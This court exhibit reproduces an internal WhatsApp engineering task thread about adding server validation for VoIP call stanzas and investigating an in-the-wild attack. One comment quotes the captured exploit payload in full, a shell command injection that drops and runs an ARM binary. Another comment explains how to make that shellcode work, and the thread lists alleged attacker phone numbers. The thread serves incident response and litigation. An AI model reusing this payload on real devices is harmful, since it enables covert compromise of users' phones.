EXHIBIT 4

UNITED STATES DISTRICT COURT

NORTHERN DISTRICT OF CALIFORNIA

Case #: 4:19-cv-07123-PJH

Plntf Exhibit No. PTX-0013

Date Admitted: _____

By: _____

Kelly Collins, Deputy Clerk

T34775320

Edit Mode

[Follow-up] Server to validate call stanzas as defined in the protocol

Jesus Barcons Palau **Mid** Private

Follow up on S164677. Client vulnerabilities could have been prevented by enforcing that stanzas are compliant with the protocol.

ODS counters: https://fburl.com/ods/bwwvvmyg

Public Title: Enter public task title

Subscribers: Aby John, Amol Godbole, ~~Andrey Labunets~~, ~~Brendon Tiszka~~, Carl Woog, Chris Bream, Chris Puntarelli, Chris Steipp, Claudiu Gheorghe, Cortney Padua, Dan Gurfinkel, Despina Papageorge, Dhaval Kapil, ~~Doc Domke~~, Drew Robinson, Edward George, ~~Ehren Kret~~, ~~Elizabeth Schweinsberg~~, Elly Bingaman, Hasan Eray Dogan, Henry Han, Ibrahim Mohamed, Jeremy Apple, Jessica Romero, Jessica Romero, Jesus Barcons Palau, ~~Jim O'Leary~~, Joaquin Moreno Garijo, John Altenmueller, Kathy Zhang, Lauren Won, Manpreet Singh, Mark Hammell, Maxime Boucher, ~~Michael Kearney~~, Michael Scott, Mikhail Vorontsov, Otto Ebeling, Patrick Jette, ~~Paul Otto~~, ~~Roger Shen~~, SEV Manager, Sundar Jeyaraman, Tiana Demas, Xi Deng, YuanYuan Wang See less

Tags: Dashboards, SEV Task, security, whatsapp

Creator: Jesus Barcons Palau (October 4, 2018)

FBID: 472814263202094 (Copy Draft ID)

Schedule: Start mm/dd/yyyy 9:00 AM Target mm/dd/yyyy 5:00 PM

Attachments:
all_failed_20190506_1440.txt.gz
all_malicious_offer_stanzas_20190506.txt
attacker.patch
attacker_signaling_trace.log.zip
logs2.zip
relation_numbers.csv
trace_log_3579628384.html
trace_log_legit_stanzas_16507147714.html
whatsapp-2019-05-03-1-(2).log

whatsapp-2019-05-03.1.log
whatsapp-2019-05-07.1.log
whatsapp-consumer-debug.apk
whatsapp-consumer-debug.apk
whatsapp-consumer-debug_exploit_iOS_Android.apk

Diffs

D15332007 ~~[chatd_e2s] Also log to Scuba VoIP stanzas that are sent by emulators.~~ Closed
D15321226 ~~[voip_validation] Promoting some stanza validation from ?IN_PROGRESS to ?CHECKED.~~ Closed
D15306712 ~~Also log to Scuba UUID of call offer that fails validation.~~ Closed
D15264931 ~~Logging IP of clients that fail VoIP stanza validation.~~ Closed
D15256060 ~~[voip_validation] Promote video and group call offers from in progress to checked.~~ Closed
D15248456 ~~[voip_validation] Add validation for relayelection and transport stanzas.~~ Closed
D15215075 ~~[voip_validation] Add validation for direct group call offers.~~ Closed
D15214489 ~~[voip_validation] Add validation for video stanza.~~ Closed
D15214368 ~~[voip_validation] Add validation for group cal offer stanzas.~~ Closed
D15213279 ~~[voip_validation] Add optional device attribute in offer stanza.~~ Closed
D15196579 ~~Dropping call stanzas that fail validation.~~ Closed
D15144352 ~~Fixed a couple of failures on offer and accept for stanza validation.~~ Closed
D15117910 ~~Stanza validation for 1:1 call accept.~~ Closed
D15068446 ~~[voip_validation] Validation for 1:1 call offer stanzas.~~ Closed
D14694551 ~~[chat/voip_validation] Cleaner spec definition.~~ Closed
D14597360 ~~[chatd/voip_validation] Add validation for enc_rekey stanzas.~~ Closed
D14433076 ~~[chatd/voip_validation] First draft to perform validation of call stanzas.~~ Closed
D14423162 ~~[tests/mod_call] Added e2e test for relaylatency.~~ Closed
See less

Blocks

T44191245 ~~Master task for SEV S178165~~
T22485260 ~~Security Review Request - WhatsApp client VoIP stack~~
T38964548 ~~[Master] [WA] Whatsapp Hardening project~~

Depends on

T44089969 ~~finish voip stanza validation~~
T44069331 ~~Make sure we store data from scribe's edgeray_debug~~

Plugin Suggestions

6 plugin(s) have data available for this task. Click to activate them!

- Automation Test Status
- Flipper for Oculus Bug Reports
- Product-Feature Hierarchy
- SEV Manager

- Oncall Predictions
- Gilbert (Log Viewer)

Activity & Comments

Jesus Barcons Palau created this task.
October 4, 2018

created the task
changed the priority to **None**
subscribed Manpreet Singh, Claudiu Gheorghe, Jesus Barcons Palau and Ehren Kret
changed the title to "Server to validate call stanzas as defined in the protocol"
changed the description · View

Hide all changes...

Otto Ebeling subscribed Otto Ebeling and Ibrahim Mohamed
October 5, 2018

Ibrahim Mohamed made several changes
October 5, 2018

changed the title from "Server to validate call stanzas as defined in the protocol" to "[Follow-up] Server to validate call stanzas as defined in the protocol"
marked this task as blocking T22485260: Security Review Request - WhatsApp client VoIP stack

Hide all changes...

Otto Ebeling
This is now even more relevant given that an external researcher found out a new way to inject voip_settings. See #33535414 / t37576393

It'd be a lot cleaner/safer to have the server enforce proper schema for all messages (and make sure clients don't send server-only messages etc.), as adding ad-hoc checks in the code is a bit of a whack-a-mole game, and further protocol changes can introduce new risks.

Does the server always re-encode the whole protocol tree? The researcher was also considering an attack where she would try to find data would be interpreted as one tree by the server and as another by the client, but if the server re-encodes the whole tree into the binary format, this wouldn't work as a way to bypass server-side filtering.

December 4, 2018 · Like · 1 · Reply

Otto Ebeling
Claudiu Gheorghe could you help find who could work on this?

I think the process of doing this could also be useful in improving documentation as well as sharing knowledge between the client/server teams, as the protocol would need to be

I think the process of doing this could also be useful in improving documentation as well as sharing knowledge between the client/server teams, as the protocol would need to be specified more formally.

December 4, 2018 · Like · 1 · Reply

Otto Ebeling changed the priority from **None** to **Mid**
December 4, 2018

Jesus Barcons Palau subscribed Maxime Boucher
December 5, 2018

Jesus Barcons Palau
I will be the one driving this task.

Today I have brought awareness of the need for stanza validation during the weekly server tech talk, where I have explained the security issues and server side fixes -- thanks Otto Ebeling and Ibrahim Mohamed! More teams within WhatsApp will likely engage with the PSAA team.

Maxime Boucher has explained me how they validate stanzas for Ads using a Thrift schema to generate Erlang records. This would be a good fit for us. Before starting, I would like for the entire server team to be onboard using the same way for validating client generated stanzas. Maxime Boucher will give a talk mid January. Meanwhile we can start experimenting with this approach.

December 5, 2018 · Like · 2 · Reply

Jesus Barcons Palau made several changes
December 6, 2018
claimed the task
changed the progress to Planned
subscribed Sundar Jeyaraman
Hide all changes...

Ibrahim Mohamed marked this task as blocking T38964548: [Master] [WA] Whatsapp Hardening project
January 10, 2019

Jesus Barcons Palau made several changes
March 12, 2019
added D14423162: [tests/mod_call] Added e2e test for relaylatency.
added D14433076: [chatd/voip_validation] First draft to perform validation of call stanzas.
Hide all changes...

Jesus Barcons Palau changed the progress from Planned to In Progress
March 22, 2019

Jesus Barcons Palau Currently chatd555.atn is validating relaylatency stanza. No actions are taken, just bumping counters: https://fburl.com/ods/78jgr6mn

March 22, 2019 · Like · Reply

Jesus Barcons Palau subscribed Xi Deng
March 22, 2019

Xi Deng Try group call rekey for the next? The count in rekey is also affected by the pj_uint8_t issue in .58

March 22, 2019 · Like · 1 · Reply

Jesus Barcons Palau added D14597360: [chatd/voip_validation] Add validation for enc_rekey stanzas.
March 25, 2019

Jesus Barcons Palau Xi Deng, canarying this diff in chatd555.atn, so far all good but we have very few samples: https://fburl.com/ods/sumad728

March 25, 2019 · Like · Reply

Xi Deng Thanks, if we don't see any errors after some time. We can try .58 in house to test. Actually, I only checked the code but not actually test it to confirm rekey will have issue.

March 25, 2019 · Like · Reply

Jesus Barcons Palau We have very few samples, maybe it's just a matter of waiting :)

March 25, 2019 · Like · 1 · Reply

Jesus Barcons Palau added D14694551: [chat/voip_validation] Cleaner spec definition.
March 29, 2019

Otto Ebeling Had a quick look at the diffs, exciting updates in this task :)

April 2, 2019 · Like · Reply

Jesus Barcons Palau I will add validation for another stanza today.

April 24, 2019 · Like · 1 · Reply

Otto Ebeling One thought we had when discussing this with Ibrahim was that the fact that the schema is in Erlang may make it harder to understand for folks not that familiar with Erlang, and some other schma/configuration format could be easier to understand. What are your thoughts on this?

April 24, 2019 · Like · Reply

Jesus Barcons Palau added D15068446: [voip_validation] Validation for 1:1 call offer stanzas.
April 24, 2019

Jesus Barcons Palau
Thanks for bringing this up Otto Ebeling! I considered creating a DSL but decided to go for Erlang directly after realizing that it didn't look bad at all --I'm obviously biased, but it's quite compact and nice the way to express stanza requirements:

```
      #xl{name = '#relaylatency',
          attrs = #{
            '#call-id' => {?STRING, ?REQUIRED},
            '#call-creator' => {?WID, ?OPTIONAL},
            '#transaction-id' => {?INT_32, ?OPTIONAL}
           },
          els = [
                {#xl{name = '#te',
                     attrs = #{
                       '#latency' => {?INT_32, ?REQUIRED},
                       '#priority' => {?UINT_8, ?OPTIONAL}
                      },
                     els = ?IP_ADDRESS
                    },
                 {?REPEAT, 1, 8}}
               ]
        }
```

We can create a DSL and a DSL parser to convert to Erlang terms later on and reuse the validation engine of `voip_validation`. Thanks! :)

April 24, 2019 · Like · 1 · Reply

Jesus Barcons Palau
Canarying stanza validation in chatd555.atn, some validations failed:

https://phabricator.intern.facebook.com/P62862739

I have noticed "resume" in the offer, I haven't seen this in the spec.

https://fburl.com/ods/kktmwkvf

April 24, 2019 · Like · 1 · Reply

Jesus Barcons Palau subscribed YuanYuan Wang
April 25, 2019

Jesus Barcons Palau
Some more stanzas that fail validation:

https://phabricator.intern.facebook.com/P62869110
https://phabricator.intern.facebook.com/P62869468

YuanYuan Wang, I have noticed that:

- Some offers don't have elements 'enc' and 'enc_opt', is this expected? I thought that the encryption material must be present in the call offer...

April 25, 2019 · Like · Reply

Jesus Barcons Palau made several changes
April 28, 2019
added D15117910: Stanza validation for 1:1 call accept.
changed the description · View
Hide all changes...

Jesus Barcons Palau
Some failed stanzas for accept and offer: https://phabricator.intern.facebook.com/P63226851

For accept what seems to be missing is:

{'#peer-device',"web"}

For offer I have to take a closer look. Will send diff shortly.

April 29, 2019 · Like · Reply

Jesus Barcons Palau Alright, the issue with offer stanzas is that "dec" attribute name is not in the stanz table. I will make sure the module lands first so stanza are present and

Jesus Barcons Palau Alright, the issue with offer stanzas is that "dec" attribute name is not in the atom table. I will make sure the module loads first so atoms are present and used by the c2s parser.

April 29, 2019 · Like · 1 · Reply

Jesus Barcons Palau added D15144352: Fixed a couple of failures on offer and accept for stanza validation.
April 29, 2019

Jesus Barcons Palau
Seeing failures in relaylatency stanzas: https://phabricator.intern.facebook.com/P63530004

I have to investigate further, but it seems that some clients are not sending call-creator as a wid or wid-string.

(cc YuanYuan Wang)

May 2, 2019 · Like · Reply

Jesus Barcons Palau Surprisingly the two clients in the paste are from REDACTED

May 2, 2019 · Like · Reply

Xi Deng for creator jid. maybe an issue on iPhone-2.18.80 ? the both peer numbers in log are both iPhone-2.18.80 Roger Shen Kathy Zhang do you recall we send creator with only number ? (I assume Jesus Barcons Palau is complaining about this)

May 2, 2019 · Like · Reply

Jesus Barcons Palau
Some more logs: https://phabricator.intern.facebook.com/P63532452

Another one from REDACTED-the other ones have call-creator as an empty string and completely messed up attributes.

May 2, 2019 · Like · Reply

Xi Deng Jesus Barcons Palau just fyi, I'm doing the cross platform xml signaling on client side, feel free to ping me on any stanza issues.

May 2, 2019 · Like · Reply

Xi Deng empty ones come from 2,18,327? maybe the fake client. What about only valid some recent clients, e.g. 2.19 only? for old clients, it may be fixed issues or may be hard to find the code to verify.

May 2, 2019 · Like · Reply

Xi Deng for non empty one in the latest paste, the creator is also on 2.18.80 (iphone)

May 2, 2019 · Like · Reply

Kathy Zhang Xi Deng The call creator jid in relay latency stanza(outgoing) is filled by the call creator jid in call ctx in voip stack like all the other stanzas.

May 2, 2019 · Like · Reply

Roger Shen Hey Xi Deng, I don't recall we send number only for call creator. Voip Stack gives app JID string and we put it into the stanza.

May 2, 2019 · Like · Reply

Roger Shen Do we have report on newer client? Agree with Xi that we moved stanza handling a lot recently and investigating older client issues won't help much

May 2, 2019 · Like · Reply

Jesus Barcons Palau This is success vs failed stanzas: https://fburl.com/ods/zz9ue6mq

It's been going on for more than a month... Numbers are not increasing. Rogue clients maybe?

May 2, 2019 · Like · Reply

Xi Deng does iphone 2.18.80 send creator jid in offer? we can try a call between 2.19.53 (android) and 2.18.80 (iphone) to see what's going on.

May 2, 2019 · Like · Reply

Jesus Barcons Palau
Found this call offer, worth taking a look:

https://phabricator.intern.facebook.com/P63566079

Looked at user account, this is the registered device:

device_name: samsung-VMware_Virtual_Platform

(cc Otto Ebeling, Ibrahim Mohamed)

May 2, 2019 · Like · Reply · Edited

Ibrahim Mohamed
There is this string

```
"=com.whatsapp;t=/data/data/$w/files/t;e=echo;c=\"chmod 777\";g=grep;v=/system/bin/am;u=$(which id>/dev/null && $e
$((`id | $g -oE \"uid=[0-9]+\" | $g -oE \"[0-9]+\"` / 100000)) || $e 0);cp $v ${t}p;s=\"stopservice --user $u
$w/.voipcalling.VoiceFGService;\";$v $s || ${t}p $s;rm ${t}*;$e -en
\"\\x7fELF\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x02\\x00\\x28\\x00\\x20\\x00\\x20\\x00\\x20\\x00
\\x20\\x00\\x04\\x00\\x00\\x00\\x19q\\x00\\xe3\\x00\\x20\\xb0\\xe34\\x00\\x20\\x00\\x01\\x00\\x00\\x00\\x12\\xc0\\x8f\\x
e2\\x01\\xc0\\x8c\\xe2\\x1c\\xff\\x2f\\xe1iF0\\x00\\x00\\xdf\\x01D\\x12\\x1a\\xfa\\xd1pG\\x02\\x20\\x01\\x21\\x00\\xdf\\
x06\\x00\\x027\\x0f\\xf20\\x01\\x10\\x22\\x00\\xdf\\x04\\x270\\x00\\x081\\x00\\xdf\\x20\\xb4\\x04\\x22\\x03\\x27\\xff\\x
f7\\xe7\\xff\\x04\\xbc\\x15\\x00\\xad\\xeb\\x02\\x0d\\xff\\xf7\\xe1\\xff\\x04\\x27\\x01\\x26\\x2a\\x00\\xff\\xf7\\xdc\\x
ff\\x01\\x27\\x00\\xdf\\x02\\x00\\xff\\x01\\xb9\\xe1EhX0Xu${t}z\\x00\">$t;$c $t;$t>${t}z;$c ${t}z;${t}z 6845e1b9
00001f93 fb55352a 3345d6f0;rm ${t}*;)&%0%0%0%0%0
```

Not sure if that is testing or a real exploit!!

May 2, 2019 · Like · 1 · Reply

Ibrahim Mohamed searching for where `connecting_tone_desc` is used! seems to be a command injection bug if it is valid

May 2, 2019 · Like · Reply

Ibrahim Mohamed Jesus Barcons Palau is this being sent to Android or iOS? from the the string seems targeting Android?

May 2, 2019 · Like · Reply

Jesus Barcons Palau Android-2.19.115

May 2, 2019 · Like · Reply

Jesus Barcons Palau I can pull logs from the target phone.

May 2, 2019 · Like · 1 · Reply

Ibrahim Mohamed Jesus Barcons Palau that will help in understanding what's going on. I am also trying to check the Android code for callsite of this field

May 2, 2019 · Like · 1 · Reply

Jesus Barcons Palau Do you recommend to try to pull logs from the caller? I'm hesitant since it may reveal that we are looking at them... But I could trace all messages on server side if it's useful.

May 2, 2019 · Like · 1 · Reply

Ibrahim Mohamed Nope, let's keep the caller as is. I Do not think the caller has a proper WA client anyway.

May 2, 2019 · Like · Reply

Jesus Barcons Palau
Another one looking the same: https://phabricator.intern.facebook.com/P63568381

Different caller and target. Target platform Android-2.19.115.

May 2, 2019 · Like · Reply · Edited

Jesus Barcons Palau I have been able to pull logs from the second target, please find them attached in the task.

May 2, 2019 · Like · Reply

Jesus Barcons Palau made several changes
May 2, 2019
added attachment whatsapp-2019-05-03.1....
subscribed Mikhail Vorontsov
Hide all changes...

Jesus Barcons Palau
These are all the failed stanzas (using the new validation method) for the past hour: https://phabricator.intern.facebook.com/P63576490

I can send a change in next chatd deploy to drop failed stanzas.

May 2, 2019 · Like · Reply

Henry Han added attachment whatsapp-consumer-debug....
May 2, 2019

YuanYuan Wang Henry just uploaded a apk which has the attacker's patch, it will send the call offer with options.tone_description

May 2, 2019 · Like · 1 · Reply

YuanYuan Wang Please check if the attack is related to the print function we used for the voip settings, we print all the voip options we get from server when the call offer is received

May 2, 2019 · Like · Reply

YuanYuan Wang Upload another APK which could make the receiver side print out the same log as the target device pasted here.

May 2, 2019 · Like · Reply

YuanYuan Wang made several changes
May 2, 2019

added attachment whatsapp-consumer-debug....
added attachment attacker.patch

Hide all changes...

YuanYuan Wang adding the patch on Android code base to start the attack on caller side

May 2, 2019 · Like · Reply

Claudiu Gheorghe what's the effect when sending this?

May 2, 2019 · Like · Reply

Jesus Barcons Palau added D15196579: Dropping call stanzas that fail validation.
May 3, 2019

Jesus Barcons Palau I have a diff out for review to drop failed stanzas: D15196579

May 3, 2019 · Like · Reply

Xi Deng added attachment whatsapp-2019-05-03.1 (2)....
May 3, 2019

Xi Deng
Otto Ebeling the log with (2) has stack trace for the crash for this one (the same user as Jesus's log, but a little earlier)

16:16:58 Android / Crash 2.19.115 samsung-SM-G960F 8.0.0 +973 3670 0200 [CS] Bahrain whatsapp-2019-05-03.1.log.gz [txt] 5.01 MB native
Exception
Method

Location
State
libwhatsapp.so:SIGSEGV
build_stun_req(transport_p2p*, relay_cfg_ctx const*, unsigned char*, unsigned long, unsigned short, int)
wa_transport.cc:3250
Open

May 3, 2019 · Like · Reply

Jesus Barcons Palau added attachment trace_log_35796282384.h…
May 4, 2019

Jesus Barcons Palau
Adding server trace logs for 35796282384, sending the malicious stanza.

May 4, 2019 · Like · Reply

Jesus Barcons Palau All invalid stanzas since May 4 at midnight, 75 with the malicious payload: https://phabricator.intern.facebook.com/P63705283

May 4, 2019 · Like · Reply

Jesus Barcons Palau
Adding for reference a server trace for how legit call stanzas look like. They have been sent from my work phone to my personal phone. There is a voice call and then a video call. In both cases I don't pick up the call but instead I hang up from the caller device.

May 4, 2019 · Like · Reply

Jesus Barcons Palau made several changes
May 4, 2019
added attachment trace_log_legit_stanzas_16507147714 ….
added D15213279: [voip_validation] Add optional device attribute in offer stanza.
Hide all changes...

Andrey Labunets made several changes
May 4, 2019
subscribed Andrey Labunets and Elizabeth Schweinsberg
added allowed viewer Subscribers

Hide all changes...

Jesus Barcons Palau made several changes
May 5, 2019
added D15214368: [voip_validation] Add validation for group call offer stanzas.
added D15214489: [voip_validation] Add validation for video stanza.

added D15215075: [voip_validation] Add validation for direct group call offers.

Hide all changes...

Jesus Barcons Palau All failed stanza validations since today at midnight: https://phabricator.intern.facebook.com/P63727422

May 5, 2019 · Like · Reply

Jesus Barcons Palau added attachment all_malicious_offer_stanzas_2019050…

May 6, 2019

Jesus Barcons Palau

Adding all the malicious offer stanzas since we started logging them (in file all_malicious_offer_stanzas_20190506.txt).

Total number: 1568

Source:

```
erlpssh.sh 'priv_atn/whatsapp/chatd/{0..400}' 'less chatd/log/chatd.log* | grep -B 20 -A 8 "system\/bin\/am"' >> /tmp/all_malicious_offer_stanzas_20190506.txt
erlpssh.sh 'priv_atn/whatsapp/chatd/{401..800}' 'less chatd/log/chatd.log* | grep -B 20 -A 8 "system\/bin\/am"' >> /tmp/all_malicious_offer_stanzas_20190506.txt
erlpssh.sh 'priv_atn/whatsapp/chatd/{801..1200}' 'less chatd/log/chatd.log* | grep -B 20 -A 8 "system\/bin\/am"' >> /tmp/all_malicious_offer_stanzas_20190506.txt

erlpssh.sh 'priv_frc/whatsapp/chatd/{0..400}' 'less chatd/log/chatd.log* | grep -B 20 -A 8 "system\/bin\/am"' >> /tmp/all_malicious_offer_stanzas_20190506.txt
erlpssh.sh 'priv_frc/whatsapp/chatd/{401..800}' 'less chatd/log/chatd.log* | grep -B 20 -A 8 "system\/bin\/am"' >> /tmp/all_malicious_offer_stanzas_20190506.txt
erlpssh.sh 'priv_frc/whatsapp/chatd/{801..1200}' 'less chatd/log/chatd.log* | grep -B 20 -A 8 "system\/bin\/am"' >> /tmp/all_malicious_offer_stanzas_20190506.txt
```

May 6, 2019 · Like · Reply

Jesus Barcons Palau added attachment relation_numbers.csv

May 6, 2019

Jesus Barcons Palau

Adding list of attacker to victim (excluding our test numbers used to repro the issue) --filename `relation_numbers.csv`.

May 6, 2019 · Like · Reply

Andrey Labunets did an action of type: InternActivityTaskAddParentTasks.
May 6, 2019

Andrey Labunets marked this task as depending on T44020385: crashlog: find similar crashes from S178165 in the past
May 6, 2019

Andrey Labunets marked this task as depending on T44019656: log all the large RTCP packets in edgeray
May 6, 2019

Claudiu Gheorghe Jesus - do you want to use this task for tracking the validation for the rest of the VOIP stanzas? As we discussed with Nitin, we want to have that done, to see if they are able to exploit other paths

May 6, 2019 · Like · Reply

Jesus Barcons Palau Claudiu Gheorghe, I was planning to continue using this task for it. I sent 3 diffs during the weekend that validate group call offers (v1 and v2) and video stanzas --currently on code review. Next stanza to validate is transport, then I will get the rest.

May 6, 2019 · Like · 1 · Reply

Jesus Barcons Palau
To clarify, recent files 'all_malicious_offer_stanzas_20199596.txt' and 'relation_numbers.csv' contain stanzas and phone numbers for the payload with substring **system/bin/am**.

YuanYuan Wang pointed out that there are other bad stanzas, they contain the substring **delay_based_bwe_trendline_filter_enabled**. Should we get to them later or start tracking them as well?

May 6, 2019 · Like · Reply

YuanYuan Wang added attachment attacker_signaling_trace.log…
May 6, 2019

YuanYuan Wang

May 6, 2019 · Like · 1 · Reply

Jesus Barcons Palau added attachment all_failed_20190506_1440.tx…
May 6, 2019

Jesus Barcons Palau

Attaching *all* the failed stanzas seen by chatd so far. Commands used to fetch them:

```
erlpssh.sh 'priv_atn/whatsapp/chatd/{0..400}' 'less chatd/log/chatd.log* | grep -A 40 "Failed VoIP stanza validation"' >> /tmp/all_failed_20190506_1414.txt
erlpssh.sh 'priv_atn/whatsapp/chatd/{401..800}' 'less chatd/log/chatd.log* | grep -A 40 "Failed VoIP stanza validation"' >> /tmp/all_failed_20190506_1414.txt
erlpssh.sh 'priv_atn/whatsapp/chatd/{801..1200}' 'less chatd/log/chatd.log* | grep -A 40 "Failed VoIP stanza validation"' >> /tmp/all_failed_20190506_1414.txt

erlpssh.sh 'priv_frc/whatsapp/chatd/{0..400}' 'less chatd/log/chatd.log* | grep -A 40 "Failed VoIP stanza validation"' >> /tmp/all_failed_20190506_1414.txt
erlpssh.sh 'priv_frc/whatsapp/chatd/{401..800}' 'less chatd/log/chatd.log* | grep -A 40 "Failed VoIP stanza validation"' >> /tmp/all_failed_20190506_1414.txt
erlpssh.sh 'priv_frc/whatsapp/chatd/{801..1200}' 'less chatd/log/chatd.log* | grep -A 40 "Failed VoIP stanza validation"' >> /tmp/all_failed_20190506_1414.txt
```

May 6, 2019 · Like · Reply

Ibrahim Mohamed Just confirmed that the same potential bug works on WhatsApp iOS. Tested on App store version 2.19.42
The patched (attacker's WA) is attached

May 6, 2019 · Like · 3 · Reply

YuanYuan Wang marked this task as depending on T44019169: log all the packets from particular JIDs for investigation
May 6, 2019

Ibrahim Mohamed added attachment whatsapp-consumer-debug_exploit_iOS_Androi…
May 6, 2019

Claudiu Gheorghe added tags whatsapp , Dashboards , security
May 7, 2019

Claudiu Gheorghe

(posting for tomorrow, no need to reply now)

Jesus - we should start pushing out the Erlang changes and gate them behind a server knob (WGC, waknob, etc.), so that when we're ready we can enable the validation code in realtime.
- let's flesh out what how many of these stanzas are validated and how many are left; we can get more folks to help with that to parallelize the effort

May 7, 2019 · Like · Reply · Edited

Jesus Barcons Palau Sounds good, I will make changes to that diff so we can gate it behind a WGC variable. Thanks!

May 7, 2019 · Like · 1 · Reply

Andrey Labunets marked this task as depending on T44069331: Make sure we store data from scribe's edgeray_debug
May 7, 2019

Hasan Eray Dogan, Dan Gurfinkel, Mark Hammell and 21 more people were subscribed
May 7, 2019
Load more changes
Andrey Labunets subscribed Brendon Tiszka
Joaquin Moreno Garijo subscribed Jessica Romero and Drew Robinson
Jesus Barcons Palau subscribed Jessica Romero
Joaquin Moreno Garijo subscribed Tiana Demas
Jesus Barcons Palau subscribed Despina Papageorge
Andrey Labunets subscribed Jeremy Apple
Andrey Labunets subscribed Aby John
Cortney Padua subscribed Mark Hammell and Michael Scott
Ibrahim Mohamed subscribed Dan Gurfinkel
Andrey Labunets subscribed Hasan Eray Dogan
Hide all changes...

Xi Deng added attachment logs2.zip
May 7, 2019

Xi Deng

Attached logs logs2.zip which show "voicefgservice/onDestroy" after malicious connecting_tone without crash between. These may be potential success exploits.

May 7, 2019 · Like · 1 · Reply · Edited

Xi Deng

some are destroyed because peer rejects or accepts. Only 05/07's could be exploits. However, 05/07 may be their tests. All numbers are
6281293395095
6281380912612
6281380912613
6285215659697
6287771258524

May 7, 2019 · Like · Reply · Edited

Jesus Barcons Palau made several changes
May 7, 2019

marked this task as depending on T44020654: collect all the numbers affected by S178165
added D15248456: [voip_validation] Add validation for relayelection and transport stanzas.
subscribed John Altenmueller

Hide all changes...

John Altenmueller marked this task as depending on T44089969: finish voip stanza validation
May 7, 2019

YuanYuan Wang Xi Deng voicefgservice/onDestroy() is also called at the end of the call, and if it's stopped by us, we would see "voicefgservice/stop-service", and "voicefgservice/onStartCommand:Intent { act=com.whatsapp.service.VoiceFgService.STOP cmp=com.whatsapp/.voipcalling.VoiceFGService (has extras) }" in the log, we would not see this log if the the service is stopped the the shell command

May 7, 2019 · Like · Reply

Xi Deng
yes, None of voipfgservice onDestroy in crash logs are stopped by shell code. (They are triggered either by user accepts, rejects, camera errors or attacker terminates).
However, this doesn't prove that user is not exploited as my latest comment in workchat.

Their shellcode could have an bug. It only works here when I replace
s="stopservice --user $u $w/.voipcailing.VoiceFGService;"
with
s="stopservice --user $u $w/.voipcailing.VoiceFGService"
So there might not be "voicefgservice/onDestory" log when exploit is success.

May 7, 2019 · Like · 1 · Reply · Edited

Jesus Barcons Palau added D15256060: [voip_validation] Promote video and group call offers from in-progress to checked.
May 7, 2019

YuanYuan Wang

Xi, can you try to execute the shell command in java code

"w=com.whatsapp;t=/data/data/$w/files/t;e=echo;c=\"chmod 777\";g=grep;v=/system/bin/am;u=$(which id>/dev/null && $e $((id | $g -oE \"uid=[0-9]+\" | $g -oE \"[0-9]+\" / 100000)) || $e 0);cp $v ${t}p;s=\"stopservice --user $u $w/.voipcalling.VoiceFGService;\""

if it can generate the error log of "java.lang.SecurityException: Permission Denial: getCurrentUser() from pid=6533, uid=10198 requires android.permission.INTERACT_ACROSS_USERS", then maybe this is the indicator of successful attack in the log.

May 8, 2019 · Like · Reply · Edited

Jesus Barcons Palau added D15264931: Logging IP of clients that fail VoIP stanza validation.
May 8, 2019

Aby John marked this task as blocking T44191245: Master task for SEV S178165
May 9, 2019

Aby John marked this task as not blocking T44191245: Master task for SEV S178165
May 9, 2019

Aby John marked this task as blocking T44191245: Master task for SEV S178165
May 9, 2019

Claudiu Gheorghe marked this task as not depending on T44019656: log all the large RTCP packets in edgeray, T44019169: log all the packets from particular JIDs for investigation, T44020654: collect all the numbers affected by S178165 and T44020385: crashlog: find similar crashes from S178165 in the past
May 9, 2019

Claudiu Gheorghe to give an update on this one, we have most of the stanza validation pushed, and the server is here as well. Jesus - can you clarify which is the diff considered "the fix" now and what's the method of enabling the fix?

May 9, 2019 · Like · Reply

Xi Deng added attachment whatsapp-2019-05-07.1....
May 9, 2019

Xi Deng

May 9, 2019 · Like · Reply

Jesus Barcons Palau

Once chatd deployment is completed, we'll have validation for the following stanzas:

- audio_video_switch
- call_offer
- call_accept
- direct_group_call_offer
- enc_rekey
- group_call_offer
- relaylatency

When we enable blocking, the above stanzas will be dropped and the sender will receive an error. These stanzas include the "dangerous" ones, since they allow to inject voip settings that the receiver can consume.

The following stanzas are currently being "canaried". They bump counters and are being logged, but will not be dropped since we don't have full confidence yet:

- interruption
- mute
- notify
- relayelection
- transport
- flowcontrol
- preaccept

The remaining stanzas to be validatec are:

- terminate
- group call accept
- group call receipt
- group call reject
- group call terminate
- group call peer state
- group call preaccept

- group call mute
- group call ???

We'll continue working on it so we have validation for all of them. Maybe I'm missing some stanzas, we'll count what we are missing once we have validation for all of the above.

May 9, 2019 · Like · 6 · Reply

Jesus Barcons Palau made several changes
May 13, 2019

added D15306712: Also log to Scuba UUID of call offer that fails validation.
added D15321226: [voip_validation] Promoting some stanza validation from ?IN_PROGRESS to ?CHECKED.
added D15332007: [chatd_c2s] Also log to Scuba VoIP stanzas that are sent by emulators.

Hide all changes...

Claudiu Gheorghe subscribed Edward George
May 22, 2019

Claudiu Gheorghe closed the task and made several other changes
May 23, 2019

changed the progress from In Progress to Closed
closed the task

Hide all changes...

Claudiu Gheorghe nothing left here to be done except finishing up the stanza validation which is tracked here: https://our.intern.facebook.com/intern/tasks/?t=44847508

May 23, 2019 · Like · Reply

Paul Otto, Elly Bingaman and Carl Woog were subscribed
June 20, 2019

Otto Ebeling subscribed Carl Woog
Tiana Demas subscribed Paul Otto
Tiana Demas subscribed Elly Bingaman

Hide all changes...

Claudiu Gheorghe subscribed Michael Kearney
June 27, 2019

Tiana Demas subscribed Chris Puntarelli
October 22, 2019

SEV Manager "IM Review Action Item" tag has been re-added since this task is still associated with S178165, If this task is no longer related to this SEV, please unmark it from SEV Manager before removing the tag."

September 23, 10:50 AM · Like · Reply

SEV Manager made several changes
September 23, 10:50 AM

added tag SEV Task

added tag SEV Task

Hide all changes...

SEV Manager was subscribed
September 23, 10:50 AM

SEV Manager subscribed SEV Manager

SEV Manager subscribed SEV Manager

Hide all changes...

SEV Manager "IM Review Action Item" tag has been re-added since this task is still associated with S178165, If this task is no longer related to this SEV, please unmark it from SEV Manager before removing the tag."

September 23, 10:50 AM · Like · Reply

Jesus Barcons Palau subscribed Patrick Jette
3 hrs